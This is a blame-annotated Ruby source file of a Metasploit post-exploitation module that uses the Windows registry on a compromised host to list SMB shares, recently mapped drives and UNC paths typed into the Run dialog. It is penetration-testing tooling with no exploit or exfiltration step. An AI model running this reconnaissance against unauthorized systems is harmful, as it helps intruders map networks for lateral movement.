2011-01-12 18:29:56 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
2011-01-11 22:31:37 +00:00
|
|
|
|
2011-01-12 18:29:56 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2011-01-11 22:31:37 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2011-01-12 18:29:56 +00:00
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
2011-01-11 22:31:37 +00:00
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
2011-01-12 00:11:43 +00:00
|
|
|
require 'msf/core/post/windows/registry'
|
2011-03-17 00:10:07 +00:00
|
|
|
require 'msf/core/post/windows/priv'
|
2011-01-11 22:31:37 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2011-06-21 00:38:04 +00:00
|
|
|
include Msf::Post::Windows::Registry
|
|
|
|
include Msf::Post::Windows::Priv
|
2011-01-11 22:31:37 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2011-04-27 16:25:15 +00:00
|
|
|
'Name' => 'Windows Gather SMB Share Enumeration via Registry',
|
2011-01-29 00:37:13 +00:00
|
|
|
'Description' => %q{ This module will enumerate configured and recently used file shares},
|
2011-01-11 22:31:37 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Platform' => [ 'windows' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
2011-01-29 00:37:13 +00:00
|
|
|
OptBool.new("CURRENT" , [ true, "Enumerate currently configured shares" , true]),
|
|
|
|
OptBool.new("RECENT" , [ true, "Enumerate Recently mapped shares" , true]),
|
|
|
|
OptBool.new("ENTERED" , [ true, "Enumerate Recently entered UNC Paths in the Run Dialog" , true])
|
2011-01-11 22:31:37 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2011-01-29 00:37:13 +00:00
|
|
|
# Stolen from modules/auxiliary/scanner/smb/smb_enumshares.rb
|
|
|
|
def share_type(val)
|
2011-06-01 23:47:16 +00:00
|
|
|
stypes = [
|
2011-01-29 00:37:13 +00:00
|
|
|
'DISK',
|
|
|
|
'PRINTER',
|
|
|
|
'DEVICE',
|
|
|
|
'IPC',
|
|
|
|
'SPECIAL',
|
|
|
|
'TEMPORARY'
|
2011-06-01 23:47:16 +00:00
|
|
|
]
|
|
|
|
|
|
|
|
if val > (stypes.length - 1)
|
|
|
|
return 'UNKNOWN'
|
|
|
|
end
|
|
|
|
|
|
|
|
stypes[val]
|
2011-01-29 00:37:13 +00:00
|
|
|
end
|
2011-01-11 22:31:37 +00:00
|
|
|
|
|
|
|
# Method for enumerating recent mapped drives on target machine
|
|
|
|
def enum_recent_mounts(base_key)
|
|
|
|
recent_mounts = []
|
2011-01-29 00:37:13 +00:00
|
|
|
partial_path = base_key + "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer"
|
2011-01-11 22:31:37 +00:00
|
|
|
full_path = "#{partial_path}\\Map Network Drive MRU"
|
|
|
|
explorer_keys = registry_enumkeys(partial_path)
|
|
|
|
if explorer_keys.include?("Map Network Drive MRU")
|
2011-07-27 13:14:11 +00:00
|
|
|
vals_found = registry_enumvals(full_path)
|
|
|
|
if vals_found
|
|
|
|
registry_enumvals(full_path).each do |k|
|
|
|
|
if not k =~ /MRUList/
|
|
|
|
recent_mounts << registry_getvaldata(full_path,k)
|
|
|
|
end
|
2011-01-11 22:31:37 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return recent_mounts
|
|
|
|
end
|
|
|
|
|
|
|
|
# Method for enumerating UNC Paths entered in run dialog box
|
|
|
|
def enum_run_unc(base_key)
|
|
|
|
unc_paths = []
|
2011-01-29 00:37:13 +00:00
|
|
|
full_path = base_key + "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU"
|
2011-07-27 13:14:11 +00:00
|
|
|
vals_found = registry_enumvals(full_path)
|
|
|
|
if vals_found
|
|
|
|
vals_found.each do |k|
|
|
|
|
if k =~ /./
|
|
|
|
run_entrie = registry_getvaldata(full_path,k)
|
|
|
|
unc_paths << run_entrie if run_entrie =~ /^\\\\/
|
|
|
|
end
|
2011-01-11 22:31:37 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
return unc_paths
|
|
|
|
end
|
|
|
|
|
|
|
|
# Method for enumerating configured shares on a target box
|
|
|
|
def enum_conf_shares()
|
2011-01-29 00:37:13 +00:00
|
|
|
if sysinfo["OS"] =~ /Windows 7|Vista|2008/
|
|
|
|
shares_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares"
|
2011-01-11 22:31:37 +00:00
|
|
|
else
|
2011-01-29 00:37:13 +00:00
|
|
|
shares_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares"
|
2011-01-11 22:31:37 +00:00
|
|
|
end
|
2011-01-29 00:37:13 +00:00
|
|
|
share_names = registry_enumvals(shares_key)
|
|
|
|
|
|
|
|
if share_names.length > 0
|
|
|
|
shares = []
|
2011-02-26 04:27:49 +00:00
|
|
|
print_status("The following shares were found:")
|
2011-01-29 00:37:13 +00:00
|
|
|
share_names.each do |sname|
|
2011-07-27 14:38:19 +00:00
|
|
|
info = registry_getvaldata(shares_key,sname)
|
|
|
|
next if info.nil?
|
|
|
|
share_info = info.split("\000")
|
2011-01-29 00:37:13 +00:00
|
|
|
print_status("\tName: #{sname}")
|
|
|
|
stype = remark = path = nil
|
2011-01-11 22:31:37 +00:00
|
|
|
share_info.each do |e|
|
|
|
|
name,val = e.split("=")
|
2011-01-29 00:37:13 +00:00
|
|
|
case name
|
|
|
|
when "Path"
|
|
|
|
print_status "\tPath: #{val}"
|
|
|
|
path = val
|
|
|
|
when "Type"
|
|
|
|
print_status "\tType: #{val}"
|
|
|
|
stype = share_type(val.to_i)
|
|
|
|
when "Remark"
|
|
|
|
remark = val
|
|
|
|
end
|
2011-01-11 22:31:37 +00:00
|
|
|
end
|
2011-01-29 00:37:13 +00:00
|
|
|
# Match the format used by auxiliary/scanner/smb/smb_enumshares
|
|
|
|
# with an added field for path
|
|
|
|
shares << [ sname, stype, remark, path ]
|
2011-01-11 22:31:37 +00:00
|
|
|
print_status()
|
|
|
|
end
|
2011-01-29 00:37:13 +00:00
|
|
|
report_note(
|
2011-03-18 21:21:56 +00:00
|
|
|
:host => session,
|
2011-01-29 00:37:13 +00:00
|
|
|
:type => 'smb.shares',
|
|
|
|
:data => { :shares => shares },
|
|
|
|
:update => :unique_data
|
|
|
|
)
|
2011-01-11 22:31:37 +00:00
|
|
|
else
|
2011-02-26 04:27:49 +00:00
|
|
|
print_status("No shares were found")
|
2011-01-11 22:31:37 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2011-01-29 00:37:13 +00:00
|
|
|
print_status("Running against session #{datastore["SESSION"]}")
|
2011-01-11 22:31:37 +00:00
|
|
|
|
|
|
|
# Variables to hold info
|
|
|
|
mount_history = []
|
|
|
|
run_history = []
|
|
|
|
|
|
|
|
# Enumerate shares being offered
|
2011-01-29 00:37:13 +00:00
|
|
|
enum_conf_shares() if datastore["CURRENT"]
|
2011-03-16 22:54:40 +00:00
|
|
|
if is_system?
|
2011-01-11 22:31:37 +00:00
|
|
|
mount_history = enum_recent_mounts("HKEY_CURRENT_USER")
|
|
|
|
run_history = enum_run_unc("HKEY_CURRENT_USER")
|
|
|
|
else
|
|
|
|
user_sid = []
|
|
|
|
key = "HKU\\"
|
|
|
|
root_key, base_key = session.sys.registry.splitkey(key)
|
|
|
|
open_key = session.sys.registry.open_key(root_key, base_key)
|
|
|
|
keys = open_key.enum_key
|
|
|
|
keys.each do |k|
|
|
|
|
user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/
|
|
|
|
end
|
|
|
|
user_sid.each do |us|
|
2011-01-29 00:37:13 +00:00
|
|
|
mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") if datastore["RECENT"]
|
|
|
|
run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") if datastore["ENTERED"]
|
2011-01-11 22:31:37 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Enumerate Mount History
|
|
|
|
if mount_history.length > 0
|
|
|
|
print_status("Recent Mounts found:")
|
|
|
|
mount_history.each do |i|
|
|
|
|
print_status("\t#{i}")
|
|
|
|
end
|
|
|
|
print_status()
|
|
|
|
end
|
|
|
|
|
2011-01-29 00:37:13 +00:00
|
|
|
# Enumerate UNC Paths entered in the Dialog box
|
2011-01-11 22:31:37 +00:00
|
|
|
if run_history.length > 0
|
|
|
|
print_status("Recent UNC paths entered in Run Dialog found:")
|
|
|
|
run_history.each do |i|
|
|
|
|
print_status("\t#{i}")
|
|
|
|
end
|
|
|
|
print_status()
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
2011-01-29 00:37:13 +00:00
|
|
|
|
2011-01-11 22:31:37 +00:00
|
|
|
end
|